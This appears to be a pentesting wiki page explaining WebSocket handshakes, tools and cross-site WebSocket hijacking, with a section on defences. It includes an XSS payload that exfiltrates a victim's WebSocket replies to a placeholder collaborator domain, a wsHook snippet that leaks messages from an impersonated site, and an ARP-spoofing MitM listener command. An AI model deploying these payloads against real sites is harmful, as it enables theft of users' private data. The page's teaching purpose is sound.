WebSocket Attacks

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What are WebSockets

WebSocket connections are established through an initial HTTP handshake and are designed to be long-lived, allowing for bidirectional messaging at any time without the need for a transactional system. This makes WebSockets particularly advantageous for applications requiring low latency or server-initiated communication, such as live financial data streams.

Establishment of WebSocket Connections

A detailed explanation on establishing WebSocket connections can be accessed here. In summary, WebSocket connections are usually initiated via client-side JavaScript as shown below:

var ws = new WebSocket("wss://normal-website.com/ws")

The wss protocol signifies a WebSocket connection secured with TLS, whereas ws indicates an unsecured connection.

During the connection establishment, a handshake is performed between the browser and server over HTTP. The handshake process involves the browser sending a request and the server responding, as illustrated in the following examples:

Browser sends a handshake request:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

Server's handshake response:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

The connection remains open for message exchange in both directions once established.

Key Points of the WebSocket Handshake:

• The Connection and Upgrade headers signal the initiation of a WebSocket handshake.
• The Sec-WebSocket-Version header indicates the desired WebSocket protocol version, usually 13.
• A Base64-encoded random value is sent in the Sec-WebSocket-Key header, ensuring each handshake is unique, which helps to prevent issues with caching proxies. This value is not for authentication but to confirm that the response is not generated by a misconfigured server or cache.
• The Sec-WebSocket-Accept header in the server's response is a hash of the Sec-WebSocket-Key, verifying the server's intention to open a WebSocket connection.

These features ensure the handshake process is secure and reliable, paving the way for efficient real-time communication.

Linux console

You can use websocat to establish a raw connection with a websocket.

websocat --insecure wss://10.10.10.10:8000 -v

Or to create a websocat server:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

If you find that clients are connected to a HTTP websocket from your current local network you could try an ARP Spoofing Attack to perform a MitM attack between the client and the server.
Once the client is trying to connect to you can then use:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

You can use the tool https://github.com/PalindromeLabs/STEWS to discover, fingerprint and search for known vulnerabilities in websockets automatically.

Websocket Debug tools

• Burp Suite supports MitM websockets communication in a very similar way it does it for regular HTTP communication.
  • The socketsleuth Burp Suite extension will allow you to manage better Websocket communications in Burp by getting the history, setting interception rules, using match and replace rules, using Intruder and AutoRepeater.
• WSSiP: Short for "WebSocket/Socket.io Proxy", this tool, written in Node.js, provides a user interface to capture, intercept, send custom messages and view all WebSocket and Socket.IO communications between the client and server.
• wsrepl is an interactive websocket REPL designed specifically for penetration testing. It provides an interface for observing incoming websocket messages and sending new ones, with an easy-to-use framework for automating this communication.
• https://websocketking.com/ it's a web to communicate with other webs using websockets.
• https://hoppscotch.io/realtime/websocket among other types of communications/protocols, it provides a web to communicate with other webs using websockets.

Decrypting Websocket

• https://github.com/Anof-cyber/PyCript
• https://github.com/Anof-cyber/PyCript-WebSocket/

Websocket Lab

In Burp-Suite-Extender-Montoya-Course you have a code to launch a web using websockets and in this post you can find an explanation.

Cross-site WebSocket hijacking (CSWSH)

Cross-site WebSocket hijacking, also known as cross-origin WebSocket hijacking, is identified as a specific case of Cross-Site Request Forgery (CSRF) affecting WebSocket handshakes. This vulnerability arises when WebSocket handshakes authenticate solely via HTTP cookies without CSRF tokens or similar security measures.

Attackers can exploit this by hosting a malicious web page that initiates a cross-site WebSocket connection to a vulnerable application. Consequently, this connection is treated as part of the victim's session with the application, exploiting the lack of CSRF protection in the session handling mechanism.

In order for this attack to work, these are the requirements:

• The websocket authentication must be cookie based
• The cookie must be accessible from the attackers server (this usually means SameSite=None) and no Firefox Total Cookie Protection enabled in Firefox and no blocked third-party cookies in Chrome.
• The websocket server must not check the origin of the connection (or this must be bypasseable)

Also:

• If the authentication is based on a local connection (to localhost or to a local network) the attack will be possible as no current protection forbids it (check more info here)

Simple Attack

Note that when establishing a websocket connection the cookie is sent to the server. The server might be using it to relate each specific user with his websocket session based on the sent cookie.

Then, if for example the websocket server sends back the history of the conversation of a user if a msg with "READY" is sent, then a simple XSS establishing the connection (the cookie will be sent automatically to authorise the victim user) sending "READY" will be able to retrieve the history of the conversation.:

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
  websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
  //Exfiltrate the confidential information to attackers server
  fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

Cross Origin + Cookie with a different subdomain

In this blog post https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ the attacker managed to execute arbitrary Javascript in a subdomain of the domain where the web socket communication was occurring. Because it was a subdomain, the cookie was being sent, and because the Websocket didn't check the Origin properly, it was possible to communicate with it and steal tokens from it.

Stealing data from user

Copy the web application you want to impersonate (the .html files for example) and inside the script where the websocket communication is occurring add this code:

//This is the script tag to load the websocket hooker
;<script src="wsHook.js"></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function (data, url) {
  var xhttp = new XMLHttpRequest()
  xhttp.open("GET", "client_msg?m=" + data, true)
  xhttp.send()
}
wsHook.after = function (messageEvent, url, wsObject) {
  var xhttp = new XMLHttpRequest()
  xhttp.open("GET", "server_msg?m=" + messageEvent.data, true)
  xhttp.send()
  return messageEvent
}

Now download the wsHook.js file from https://github.com/skepticfx/wshook and save it inside the folder with the web files.
Exposing the web application and making a user connect to it you will be able to steal the sent and received messages via websocket:

sudo python3 -m http.server 80

CSWSH Protections

The CSWSH attack is based on the fact that an user will connect to a malicious page that will open a websocket connection to a web page where the user is already connected and will authenticate as him as the request will send the user's cookies.

Nowadays, it's very easy to prevent this issue:

• Websocket server checking the origin: The websocket server should always check from where a suer is connecting to prevent unexpected pages from connecting to it.
• Authentication token: Instead of basing the authentication on a cookie, the websocket connection could be based on a token that is generated by the server for the user unknown to the attacker (like an anti-CSRF token)
• SameSite Cookie attribute: Cookies with SameSite value as Lax or Strict won't be sent from an external attackers page to the victim server, therefore, cookie based authentication won't be successful. Note that Chrome now puts the value Lax to the cookies withuot this flag specfied maing this more secure by default. Although, the first 2 minutes a cookie is created it will have the value None making it vulnerable during that imited period of time (also it's expected that this meassure will be removed at some point).
• Firefox Total Cookie Protection: Total Cookie Protection works by isolating cookies to the site in which they are created. Essentially each site has its own cookie storage partition to prevent third parties linking a user’s browsing history together. This makes CSWSH unusable as the attackers site won't have access to the cookies.
• Chrome third-party cookies block: This could also prevent sending the cookie of the authenticated user to the websocket server even with SameSite=None.

Race Conditions

Race Conditions in WebSockets are also a thing, check this information to learn more.

Other vulnerabilities

As Web Sockets are a mechanism to send data to server side and client side, depending on how the server and client handles the information, Web Sockets can be used to exploit several other vulnerabilities like XSS, SQLi or any other common web vuln using input of s user from a websocket.

WebSocket Smuggling

This vulnerability could allow you to bypass reverse proxies restrictions by making them believe that a websocket communication was stablished (even if it isn't true). This could allow an attacker to access hidden endpoints. For more information check the following page:

Upgrade Header Smuggling

References

• https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages
• https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/